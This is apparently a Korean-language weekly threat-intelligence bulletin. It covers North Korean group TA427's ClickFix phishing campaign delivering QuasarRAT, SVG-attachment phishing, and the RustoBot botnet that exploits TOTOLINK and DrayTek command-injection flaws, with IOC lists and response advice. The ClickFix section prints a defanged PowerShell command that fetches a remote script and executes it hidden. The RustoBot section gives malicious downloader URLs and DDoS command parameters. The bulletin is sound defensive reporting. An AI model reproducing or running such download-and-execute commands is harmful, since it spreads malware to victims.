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1 2025 년 4 월 넷째 주, 최신 위협 현황 

 북한 배후 공격 그룹의 ClickFix 전술 

1.1.1 키워드 및 요약 

+ 키워드: TA427, Phishing, QuasarRAT 

+ 요약: 북한 배후의 공격 그룹 TA427 의 개인을 대상으로 하는 ClickFix 전술 

1.1.2 위협 설명 

+ 최근, 사이버 보안 기업 Proofpoint 는 싱크탱크 부문에서 5 개 미만의 조직에 

소속된 개인을 공격 대상으로 삼는 “TA427”이라는 공격 그룹을 처음 발견함. 

+ TA427 은 Kimsuky 또는 Emerald Sleet 이라고 부르는 공격 그룹의 활동과 겹침. 

+ TA427 은 북한 문제를 담당하는 공격 대상에게 스푸핑1한 발신자를 사용한 회의 

요청을 통해 초기 접촉을 시도. 

+ 이전 활동과 마찬가지로, 대상과 소통하고 신뢰를 쌓기 위한 짧은 대화 후, 

공격자는 공격 대상을 공격자가 제어하는 사이트로 유도하여 PowerShell 

명령을 실행하도록 유도. 

+ 이 공격은 최종적으로 상용 악성코드인 QuasarRAT 의 최종 페이로드로 이어짐. 
 

 
[ ClikFix 공격 개요도 ]  

                                      
1 스푸핑(Spoofing): 공격자가 다른 사람 또는 다른 대상을 사칭하여 상대방의 신뢰를 얻으려 하는 행위 
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1.1.3 위협 분석 

+ 2025 년 2 월, TA427 은 일본 외교관으로 위장하여 공격 대사에게 이메일을 

보내 워싱턴 D.C.에 있는 미국 대사관에서 미국 주재 일본 대사인 야마다 시게오 

대사와의 회동을 주선해달라고 요청함. 
 

  
[ 공격에 사용된 이메일 ] 

+ 해당 이메일에는 “Letter from Ambassador Cho Hyun-Dong.pdf(번역: 조현동 

대사 서한.pdf)“ “[Japanese Embassy] Meeting Request(번역: [일본 대사관] 

면담 요청)“이라는 제목의 정상적인 첨부 파일이 포함되어 있음. 

+ 이후 공격자는 공격 대상의 개인 및 업무용 이메일 계정과 메일을 주고 받았고, 

이를 통해 악성 이메일을 추가로 발송. 

  
[ 악성 파일이 첨부된 이메일 ] 
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+ 공격자가 보낸 이메일 답변으로는, 대상의 이름을 제목으로 사용한 PDF 첨부 

파일이 포함되어 있었고, 해당 PDF 에는 보안 드라이브라고 주장하는 동적 DNS 

도메인의 하위 도메인을 사용하는 랜딩 페이지로 연결되는 링크가 포함되어 있음. 
 

 

 
[ 악성 링크가 포함된 PDF 파일 ] 

+ 랜딩 페이지에는 “Questionnaire.pdf”라는 가짜 PDF 파일이 호스팅 되어있음. 
 

 
[ 가짜 PDF 파일이 호스팅된 페이지 ] 
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+ 공격 대상이 PDF 파일 다운로드를 시도하면, 다른 페이지로 이동하게 되고, 

팝업 알림창이 생성되어 사용자에게 문서를 보려면 등록하라는 메시지를 표시. 
 

 
[ 팝업 알림 창 ] 

+ 사용자가 등록 버튼을 클릭하면 아래와 같이 등록 방법에 대한 지침과 함께 

코드를 입력하라는 팝업이 추가로 생성됨. 
 

  
[ PowerShell 명령을 실행하기 위한 코드 및 지침 ] 

+ 사용자는 지침 대로 터미널에 아래와 같은 PowerShell 명령이 포함된 등록 

코드를 수동으로 복사하여 붙여넣고, 실행하게 됨. 
 

powershell -windowstyle hidden -Command iwr "hxxps[:]//securedrive[.]fin-

tech[.]com/docs/en/t.vmd" -OutFile "$env:TEMP\p"; $c=Get-Content -Path 

"$env:TEMP\p" -Raw; iex $c; 3Z5TY-76FR3-9G87H-7ZC56 
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+ ClickFix2 PowerShell 명령은 원격으로 호스팅되는 두 번째 PowerShell 명령을 

가져와 실행하는데, 이 명령은 위에서 언급된 악성 PDF 파일(Questionnaire.pdf) 

을 사용자에게 아래와 같이 표시함. 

+ 해당 문서는 일본 외무성에서 발행한 것으로 추정되며, 동북아시아의 핵 확산 

및 정책에 관한 질문이 포함되어 있음. 
 

 
[ 가짜 PDF 파일 Questionnaire.pdf ] 

+ 두 번째 PowerShell 스크립트는 temp.vbs 라는 VBS 스크립트를 생성했는데, 이 

스크립트는 “Update-out-of-date-20240324001883765674”라는 예약된 작업에 

의해 실행됨. 

+ 또한, “Update-out-of-date-20240324001883765675”라는 두 번째 예약된 

작업도 생성되어 20 분마다 VBS 스크립트를 실행하는데, 실행되는 VBS 

스크립트는 확인되지 않아, 이 작업의 목적은 불분명함. 

                                      
2 ClickFix: 사용자에게 복사-붙여넣기를 유도하여 직접 악성코드를 실행하게 만드는 사회공학기법 
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+ 이 체인은 예약된 작업 실행 이후 더 이상 실행되지 않았지만, 2025 년 1 월에 

발견된 또 다른 체인은 매우 유사한 경로를 따름. 

+ 이 경우, 첫 번째 예약된 작업은 최종적으로 두 개의 배치 스크립트를 

다운로드했고, 이 스크립트는 두 개의 새로운 PowerShell 스크립트와 난독화된 

페이로드를 생성하고 디코딩함. 

+ 두 번째 배치 스크립트는 새로 생성된 PowerShell 스크립트를 실행하여 Base64 

및 XOR 로 인코딩된 QuasarRAT 페이로드를 디코딩함. 

+ 이 페이로드는 80 포트를 통해 C2 서버 IP 주소 38.180[.]157.197 과 통신함. 

+ TA427 은 감염 경로에 새로운 기법을 도입했지만, 공개적으로 사용 가능한 

도구인 QuasarRAT 를 최소 4 년 동안 사용해옴. 
 

+ 전송 인프라에 대한 추가 조사 결과, 대체로 유사한 주제를 가진 여러 다른 

서버와 스테이진 URL 이 발견됨. 

+ 또한, TA427 이 이 캠페인에서 한국어, 영어, 일본어 컨텐츠를 사용했으며, 이는 

스푸핑된 발신자에 맞춰 맞춤 설정된 것으로 확인됨. 
 

 
[ 가짜 보안 드라이브 페이지 ] 
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+ TA427 은 이 캠페인에 동적 DNS(DDNS) 서비스를 사용했는데, 주로 한국에 

위치한 서버에서 호스팅되었으며, 이 서버는 이미 공격자에게 점유되었을 

가능성이 존재. 

+ 모든 사례에서 공격자는 FreeDNS 또는 No-IP DDNS 서비스를 사용했으며, 

보안 드라이브 또는 계정 프로필을 하위 도메인으로 스푸핑함. 

+ 이 활동과 관련된 모든 인프라는 2025 년 1 월 이전에 구축된 것으로 확인됨. 

+ 같은 달, Microsoft 는 TA427 의 ClickFix 감염 경로의 변종을 발견했는데, 이는 

장치를 등록하고 PowerShell 명령을 실행하는 URL 을 포함함. 

+ 이 변종에서 코드는 브라우저 기반 원격 데스크톱 도구를 설치하고 피해자 

장치를 등록하는 데 사용되는 인증서와 PIN 을 다운로드함. 

+ TA427 은 몇 주 동안 여러 버전으로 ClickFix 기법을 시도하다가 다시 검증된 

기법으로 돌아갔을 가능성이 높음. 

1.1.4 침해 지표 (Indicators of Compromise) 

Indicator type Indicator 

IP 

115.92[.]4.123  121.179[.]161.230  121.179[.]161.231  

172.86[.]111.75  210.179[.]30.213 221.144[.]93.250  

118.194[.]228.184  14.34[.]85.86  38.180[.]157.197  

80.66[.]66.197  5.231[.]4.94  

Email 
yasuyuki.ebata21@proton[.]me eunsoolim29@gmail[.]com  

support@microsoftonlines[.]com  microsoftonlines[.]com  

Domain 

securedrive.networkguru[.]com  securedrive.dob[.]jp  

securedrive.servehttp[.]com  accounts-porfile.serveirc[.]com  

securedrive-mofa.servehttp[.]com  account-profile.servepics[.]com  

login-accounts.servehttp[.]com  freedrive.servehttp[.]com  

accounts-myservice.servepics[.]com  e-securedrive.mofa.mtomtech.co[.]kr  

securedrive.netsecgroup[.]com  securedrive.root[.]sx  

securedrive.privatedns[.]org  myaccounts-profile.servehttp[.]com  

drive.us-dos.securitel[.]com  undocs.myvnc[.]com  

securedrive.fin-tech[.]com  undocs.servehttp[.]com  

securedrive.opticalize[.]com  raedom[.]store  

mail.ukrtelecom[.]eu  office[.]rsvp  

ukrtelecom[.]eu  ukrtelecom[.]com  

URL 

hxxps[:]//securedrive[.]root[.]sx:8443/us[.]emb-japan[.]go[.]jp/doc/eh  

hxxps[:]//securedrive[.]root[.]sx:8443/us[.]emb-japan[.]go[.]jp/doc/eh/alert  

hxxps[:]//securedrive[.]root[.]sx:8443/us[.]emb-japan[.]go[.]jp/doc/eh/register  

hxxps[:]//securedrive[.]fin-tech[.]com/docs/en/  

hxxps[:]//securedrive[.]fin-tech[.]com/docs/en/alert  

hxxps[:]//securedrive[.]fin-tech[.]com/docs/en/register  
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hxxps[:]//securedrive[.]fin-tech[.]com/docs/en/t.vmd  

hxxps[:]//securedrive[.]fin-tech[.]com/docs/en/src/pdf_0.pdf  

hxxps[:]//securedrive[.]fin-tech[.]com/docs/en/src/resp.php  

hxxps[:]//raedom[.]store/[REDACTED]/demo.php?ccs=cin  

hxxps[:]//bit-albania[.]com/[REDACTED]/demo.php?ccs=cin  

hxxps[:]//office[.]rsvp/fin?document=2hg6739jhngdf7892w0p93u4yh5g  

FileHash-SHA256 

06816634fb019b6ed276d36f414f3b36f99b845ddd1015c2b84a34e0b8d7f083  

0ff9c4bba39d6f363b9efdfa6b54127925b8c606ecef83a716a97576e288f6dd  

18ee1393fc2b2c1d56d4d8f94efad583841cdf8766adb95d7f37299692d60d7d  

e410ffadb3f5b6ca82cece8bce4fb378a43c507e3ba127ef669dbb84e3c73e61  

78aa2335d3e656256c50f1f2c544b32713790857998068a5fa6dec1fb89aa411  

07a45c7a436258aa81ed2e770a233350784f5b05538da8a1d51d03c55d9c0875  

f9536b1d798bee3af85b9700684b41da67ff9fed79aae018a47af085f75c9e3e  

85db55aab78103f7c2d536ce79e923c5fd9af14a2683f8bf290993828bddeb50  

bfb11abb82ab4c788156df862a5cf4fa085f1ac3203df7a46251373d55cc587c  

8a8c57eedca1bd03308198a87cae7977d3c385f240c5c62ac7c602126a1a312f  

1.1.5 대응 가이드 

- 위 IOC 상에 발견된 정보에 대하여 업무 영향도 평가 후 설정 가능한 보안 솔루션을 

통해 탐지 및 차단 설정 

- 신뢰할 수 없는 링크 클릭 주의 

- 단말 상에서 사용되는 안티 바이러스 프로그램을 최신버전으로 유지 

- 사용되는 어플리케이션 또는 운영체제에 대하여 최신 패치를 반영 

1.1.6 참고 자료 

- https://www.proofpoint.com/us/blog/threat-insight/around-world-90-days-state-

sponsored-actors-try-clickfix 
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 SVG 파일을 사용한 새로운 피싱 공격 

1.2.1 키워드 및 요약 

+ 키워드: Phishing, SVG 

+ 요약: SVG 파일 내의 HTML 코드를 활용한 새로 발견된 피싱 공격 

1.2.2 위협 설명 

+ 피싱 공격에서 공격자들은 보통 겉으로 보이게 안전한 링크에 악성 웹 사이트 

주소를 넣거나, PDF 에 링크를 삽입하거나, 피싱 사이트 전체를 호스팅하거나, 

자바스크립트를 사용하여 실행하는 HTML 첨부 파일을 전송하는 등의 URL 

리다이렉션 전략을 사용함. 

+ 최근, 공격자가 일반적으로 이미지 저장에 사용되는 SVG 형식의 첨부 파일을 

배포하는 새로운 공격 방식이 확인됨. 

1.2.3 위협 분석 

+ SVG(Scalable Vector Gaphics)는 XML 을 사용하여 2 차원 벡터 그래픽을 표현하는 

형식으로, 이미지 뷰어 소프트웨어에서 열었을 때, 아래와 같이 표시되는 

이미지가, 텍스트 편집기에서 열면 이미지를 설명하는 XML 마크업을 확인 가능. 

 
[ 예시 SVG 파일을 이미지 뷰어로 열었을 때 ] 

 
[ 예시 SVG 파일을 텍스트 편집기로 열었을 때 ] 
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+ SVG 는 XML 기반이므로, JPEG 나 PNG 와 달리 JavaScript 와 HTML 을 지원함. 

+ 따라서 디자이너는 텍스트, 수식, 인터랙티브 요소와 같은 비그래픽 컨텐츠를 더 

쉽게 작업이 가능. 

+ 그러나 공격자는 이미지 파일 내에 피싱 페이지로 연결되는 스크립트를 

삽입하여 이를 악용하는 중. 

 
[ HTML 코드가 포함된 샘플 SVG 파일 ] 

+ 2025 년 초, HTML 첨부 파일을 사용한 것으로 보이지만, SVG 파일을 

첨부파일로 사용하는 피싱 이메일이 확인됨. 

 
[ SVG 파일이 첨부된 피싱 이메일 ] 

+ 이메일의 소스 코드 확인 결과, 첨부 파일의 Content-Type 은 이미지로 확인됨. 

 
[ 이메일 소스코드에서 확인된 파일 정보 ] 

+ 그러나 텍스트 편집기에서 해당 파일을 열면, 기본적으로 벡터 그래픽에 대한 

언급이 없는 HTML 페이지인 것을 확인 가능. 

 
[ SVG 파일의 소스 코드 ] 
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+ 브라우저에서 이 파일은 오디오 파일을 가리키는 링크가 있는 HTML 페이지로 

표시됨. 

 
[ HTML 로 실행한 SVG 파일 ] 

+ 링크 클릭 시, 사용자는 Google Voice 로 위장한 피싱 페이지로 이동됨. 

 
[ Google Voice 를 모방한 피싱 페이지 ] 

+ 페이지 상단의 오디오 트랙은 정적인 이미지이며, “Play Audio” 버튼 클릭 시, 

사용자를 회사 이메일 로그인 페이지로 리다이렉트시켜, 공격자가 사용자의 

자격 증명을 탈취할 수 있도록 함. 

 
[ 피싱 페이지의 로그인 양식 ] 
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+ 또 다른 사례에서는 공격자가 전자 서명 서비스의 알림을 모방하여 SVG 첨부 

파일을 검토 및 서명이 필요한 문서로 제시함. 

 
[ 전자 서명을 요청하는 피싱 메일 ] 

+ 첫 번째 예시에서는 SVG 파일이 HTML 페이지 역할을 했지만, 이 경우에는 

JavaScript 가 포함되어 있어서 파일을 열면 가짜 Microsoft 로그인 양식이 있는 

피싱 사이트가 브라우저 창으로 실행됨. 

 
[ SVG 파일 소스 코드 ] 

 
[ 피싱 페이지의 로그인 양식 ] 

1.2.4 대응 가이드 

- 위 IOC 상에 발견된 정보에 대하여 업무 영향도 평가 후 설정 가능한 보안 솔루션을 

통해 탐지 및 차단 설정 

- 신뢰할 수 없는 링크 클릭 주의 

- 단말 상에서 사용되는 안티 바이러스 프로그램을 최신버전으로 유지 

- 사용되는 어플리케이션 또는 운영체제에 대하여 최신 패치를 반영 

1.2.5 참고 자료 

- https://securelist.com/svg-phishing/116256/ 
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 TOTOLINK 취약점을 통해 유포되는 RustoBot 

1.3.1 키워드 및 요약 

+ 키워드: RustoBot, Botnet, TOTOLINK 

+ 요약: Rust 로 개발된 RustoBot 이 TOTOLINK 기기를 통해 유포됨 

1.3.2 위협 설명 

+ 사이버 보안 기업 Fortinet 의 FortiGuard Labs 는 최근 “TOTOLINK3” 기기를 

통해 확산되는 새로운 봇넷을 발견함. 

+ 이 공격은 일본, 대만, 베트남, 멕시코 4 개 국에서 주로 발생하였으며, 기술 산업 

분야를 공격 대상으로 삼음. 

+ 이러한 기기를 노리는 기존 악성코드와는 달리, 이 변종은 Mozilla 가 2010 년에 

도입한 프로그래밍 언어인 Rust 로 작성됨. 

+ Rust 기반으로 구현되었기 때문에 이 악성코드의 이름을 “RustoBot”으로 명명함. 

+ 공격자는 다운로더 스크립트를 사용하여 악성코드를 배포 및 설치. 

+ RustoBot 은 매개변수를 사용한 명령으로 여러 프로토콜을 사용하여 DDoS 

공격을 수행 가능. 
 

 
[ ForiGuard IPS 원격 측정에서 확인되는 TOTOLINK 취약점 공격의 분포도 ] 

  

                                      
3 TOTOLINK: ZIONCOM 에서 제조하는 네트워크 통신 제품 브랜드 
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1.3.3 위협 분석 

+ TOTOLINK 취약점은 종종 사용자 입력, 구성 변경, 인증 및 관리 명령 처리를 

담당하는 CGI 스크립트인 “cstecgi.cgi” 파일에서 발생함. 

+ 이 스크립트에는 취약점이 반복적으로 발견되었는데, 특히 원격으로 악용될 수 

있는 명령 주입 취약점이 대표적. 

+ 공격자는 이 스크립트 내의 다양한 함수를 활용하여 원격 코드 실행을 시도할 

수 있는데, 여기에는 “setUpgradeFW(CVE-2022-26210)” 및 “pingCheck(CVE-

2022-26187)”가 포함됨. 

 
[ TOTOLINK 장치 명령 주입 취약점의 페이로드 ] 

+ “hxxp[:]//66.63[.]187.69/mpsl”의 페이로드 분석 결과, “DrayTek” 기기에 영향을 

미치는 또 다른 취약점인 “CVE-2024-12987”을 발견했으며, 이는 같은 기간 

동안 공격자들에 의해 악용됨. 

+ 이 취약점은 “cgi-bin/mainfunction.cgi/apmcfgupload” 인터페이스에 위치한 

OS 명령 주입 취약점. 

 
[ DrayTek 명령 주입 취약점의 페이로드 ] 

+ 이러한 공격은 일본, 대만, 베트남, 멕시코 4 개 국에서 주로 발생했으며, 모두 

기술 산업을 겨냥함. 

 
[ 영향을 받은 국가 ] 
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+ 공격자는 네 가지 다른 다운로더 스크립트를 사용하여 이 악성코드를 배포하고, 

wget 과 tftp 라는 두 가지 명령을 사용하여 RustoBot 을 검색하고 설치. 

 
[ 다운로더 셸 스크립트 “t” ] 

 
[ 다운로더 셸 스크립트 “tftp.sh” ] 

 
[ 다운로더 셸 스크립트 “w.sh” ] 

 
[ 다운로더 셸 스크립트 “wget.sh” ] 

+ 다운로더 스크립트에 따르면 RustoBot 은 arm5, arm6, arm7, mips, mpsl 등 

다섯 가지 아키텍처를 공격 대상으로 삼음. 

+ 또한, 동일한 서버에 호스팅된 x86 아키텍처 변종도 추가로 확인됨. 

+ 관찰된 사고 페이로드의 대부분은 특히 mpsl 아키텍처를 사용하는 TOTOLINK 

장치를 공격 대상으로 삼음. 
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+ RustoBot 은 Rust 로 작성된 평문 문자열을 통해 식별 가능. 
 

 
[ Rust 라이브러리 문자열 ] 

+ “start” 함수의 두 번째 계층 분석 시 진입점을 찾을 수 있음. 
 

 
[ RustoBot 진입점 ] 

+ RustoBot 은 GOT(Global Offset Table)에서 시스템 API 함수의 오프셋을 

검색하고, 이를 호출하여 특정 동작을 수행. 
 

 
[ GOT 을 통해 API 오프셋 가져오기 ] 

  



     
 

  Page | 19  

+ 또한, XOR 암호화 알고리즘을 통해 구성을 인코딩하고, 수많은 계산을 사용하여 

난독화를 수행. 

 
[ 디코더 키 오프셋 계산을 위한 상수 설정 ] 

+ 먼저, RustoBot 은 다음 단계의 레지스터에 상수를 설정하고, 이후 “xor", “shr”, 

“rol”과 같은 명령어를 사용하여 디코더 키의 오프셋을 가져옴. 

 
[ 디코더 키 오프셋 계산 ] 

 
[ 디코더 키 ] 
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+ 마지막으로, XOR 은 이전 오프셋에서 얻은 키로 하드코딩된 암호를 디코딩. 
 

  
[ XOR 디코딩 암호(좌) / XOR 인코딩 구성(우) ] 

+ 구성 값이 디코딩되면 디코딩된 구성에 정의된 후속 함수의 인수로 사용됨. 

+ RustoBot 은 두 가지 주요 악성 행위를 보이는데, 첫 번째는 C2 서버의 도메인을 

확인하는 것이고, 두 번째는 DDoS 공격을 실행하는 것. 
  

 
[ 피해자 호스트의 공용 IP 주소를 얻기 위한 초기 패킷 ] 
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+ 먼저 IP 주소 데이터(특히 피해자 호스트의 공용 IP 주소)를 검색하기 위한 초기 

패킷을 전송하고, 이 패킷은 공격자 서버에서 반환됨. 

+ DNS-over-HTTPS4를 사용하여 악성 트래픽을 정상적인 HTTPS 요청에 혼합하여 

대량의 정상적인 웹 트래픽 속에 은폐함. 

+ 검색된 IP 주소는 헤더 필드 “S”의 값으로 사용되며, 이는 “Source”를 의미하는 

것으로 추정됨. 

 
[ C2 도메인 확인 ] 

+ RustoBot 은 “dvrhelper[.]anondns[.]net”, “techsupport[.]anondns[.]net”, 

“rustbot[.]anondns[.]net”, “miraisucks[.]anondns[.]net”의 네 가지 도메인을 

확인하려 시도하며, 이 도메인들은 모두 동일한 IP 주소인 “5.255[.]125.150”으로 

확인됨. 

 
[ C2 서버의 DDoS 공격 트리거 명령 ] 

 
[ 16 진수 Dump 로 표시된 C2 서버의 DDoS 공격 트리거 명령 ] 

                                      
4 DNS-over-HTTPS(DoH): DNS 쿼리와 응답을 암호화하여 표준 암호화되지 않은 UDP 또는 TCP 대신 

HTTPS 프로토콜을 통해 안전하게 전송되도록 하는 프로토콜 
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+ 이후 봇넷은 5.255[.]125.150 과 연결을 설정하고, DDoS 공격을 트리거하는 

명령으로 사용되는 매개변수 세트를 수신. 

• 0x03: 공격 방식을 나타내며, 이 경우 0x03 은 UDP DDoS 에 해당됨. 

• 454661159, 1744345328: 피해자 호스트의 IP 주소(10 진수 형식)를 나타냄 

• 8896, 80: 피해자의 포트 번호 

• 30: 공격 지속 시간(초)을 지정 

• 1400: 패킷 데이터 길이(바이트)를 정의 

 
[ UDP Flooding 공격5 트리거 ] 

+ 또한, “Raw IP”, “TCP”, “UDP”의 세 가지 프로토콜을 사용하여 DDoS 공격을 

시작 가능. 

 
[ DDoS 공격 방법을 위한 소켓 생성 ]  

                                      
5 Flooding 공격: 악의적으로 한꺼번에 많은 양의 데이터를 보내 대상의 서비스를 운용할 수 없도록 

만드는 서비스 거부 공격 
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1.3.4 침해 지표 (Indicators of Compromise) 

Indicator type Indicator 
IP 5.255[.]125.150 

Domain 
dvrhelper[.]anondns[.]net techsupport[.]anondns[.]net 

rustbot[.]anondns[.]net miraisucks[.]anondns[.]net 

URL 

hxxp[:]//66.63[.]187.69/w.sh hxxp[:]//66.63[.]187.69/arm6 

hxxp[:]//66.63[.]187.69/wget.sh hxxp[:]//66.63[.]187.69/arm7 

hxxp[:]//66.63[.]187.69/t hxxp[:]//66.63[.]187.69/mips 

hxxp[:]//66.63[.]187.69/tftp.sh hxxp[:]//66.63[.]187.69/mpsl 

hxxp[:]//66.63[.]187.69/arm5 hxxp[:]//66.63[.]187.69/x86 

FileHash-SHA256 

76a487a46cfeb94eb5a6290ceffabb923c35befe71a1a3b7b7d67341a40bc454 

75d031e8faaf3aa0e9cafd5ef0fd7de1a2a80aaa245a9e92bae6433a17f48385 

fbdd5cba193a5e097cd12694efe14a15eb0fc059623f82da6c0bf99cbcfa22f8 

0dde88e9e5a0670e19c3b3e864de1b6319aaf92989739602e55b494b09873fbe 

15c9d7a63fa419305d7f2710b63f71cc38178973c0ccf6d437ce8b6feeca4ee1 

427399864232c6c099f183704b23bff241c7e0de642e9eec66cc56890e8a6304 

4f0ba25183ecb79a0721037a0ff9452fa8c19448f82943deca01b36555f2cc99 

c0abb19b3a72bd2785e8b567e82300423da672a463eefdeda6dd60872ff0e072 

dae8dae748be54ba0d5785ab27b1fdf42b7e66c48ab19177d4981bcc032cfb1c 

9f098920613bd0390d6485936256a67ae310b633124cfbf503936904e69a81bf 

e547306d6dee4b5b2b6ce3e989b9713a5c21ebe3fefa0f5c1a1ea37cec37e20f 

b910e77ee686d7d6769fab8cb8f9b17a4609c4e164bb4ed80d9717d9ddad364f 

44a526f20c592fd95b4f7d61974c6f87701e33776b68a5d0b44ccd2fa3f48c5d 

efb0153047b08aa1876e1e4e97a082f6cb05af75479e1e9069b77d98473a11f4 

9a9b5bdeb1f23736ceffba623c8950d627a791a0b40c4d44ae2f80e02a43955d 

5dc90cbb0f69f283ccf52a2a79b3dfe94ee8b3474cf6474cfcbe9f66f245a55d 

b68e2d852ad157fc01da34e11aa24a5ab30845b706d7827b8119a3e648ce2cf1 

9e660ce74e1bdb0a75293758200b03efd5f807e7896665addb684e0ffb53afd2 

ec9e77f1185f644462305184cf8afcf5d12c7eb524a2d3f4090a658a198c20ce 

114b460012412411363c9a3ab0246e48a584ce86fc6c0b7855495ec531dd05a1 

1697fd5230f7f09a7b43fee1a1693013ed98beeb7a182cd3f0393d93dd1b7576 

1.3.5 대응 가이드 

- 위 IOC 상에 발견된 정보에 대하여 업무 영향도 평가 후 설정 가능한 보안 솔루션을 

통해 탐지 및 차단 설정 

- 신뢰할 수 없는 링크 클릭 주의 

- 단말 상에서 사용되는 안티 바이러스 프로그램을 최신버전으로 유지 

- 사용되는 어플리케이션 또는 운영체제에 대하여 최신 패치를 반영 

1.3.6 참고 자료 

- https://www.fortinet.com/blog/threat-research/new-rust-botnet-rustobot-is-

routed-via-routers 
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2 관련 용어 

- 피싱(Phishing): 전자우편 또는 메신저를 통해 신뢰할 수 있는 사람 또는 기업이 

보낸 메시지인 것처럼 가장하여, 비밀번호 및 신용카드 정보와 같이 기밀을 요하는 

정보를 부정하게 얻으려는 Social Engineering 공격의 한 종류 

- 스푸핑(Spoofing): 공격자가 다른 사람 또는 다른 대상을 사칭하여 상대방의 

신뢰를 얻으려 하는 행위 

- 원격 관리 도구(RAT): 본래 원격 관리 도구(Remote Administrator Tool)를 뜻하나 

공격자에게 컴퓨터 통제권을 넘겨주게 되는 악성코드로 악용될 수 있음 

- ClickFix: 사용자에게 복사-붙여넣기를 유도하여 직접 악성코드를 실행하게 만드는 

사회공학기법 

- DNS-over-HTTPS(DoH): DNS 쿼리와 응답을 암호화하여 표준 암호화되지 않은 

UDP 또는 TCP 대신 HTTPS 프로토콜을 통해 안전하게 전송되도록 하는 프로토콜 

- Flooding 공격: 악의적으로 한꺼번에 많은 양의 데이터를 보내 대상의 서비스를 

운용할 수 없도록 만드는 서비스 거부 공격   



     
 

  Page | 25  

 

 

 

 

 

 

 

End of Document 


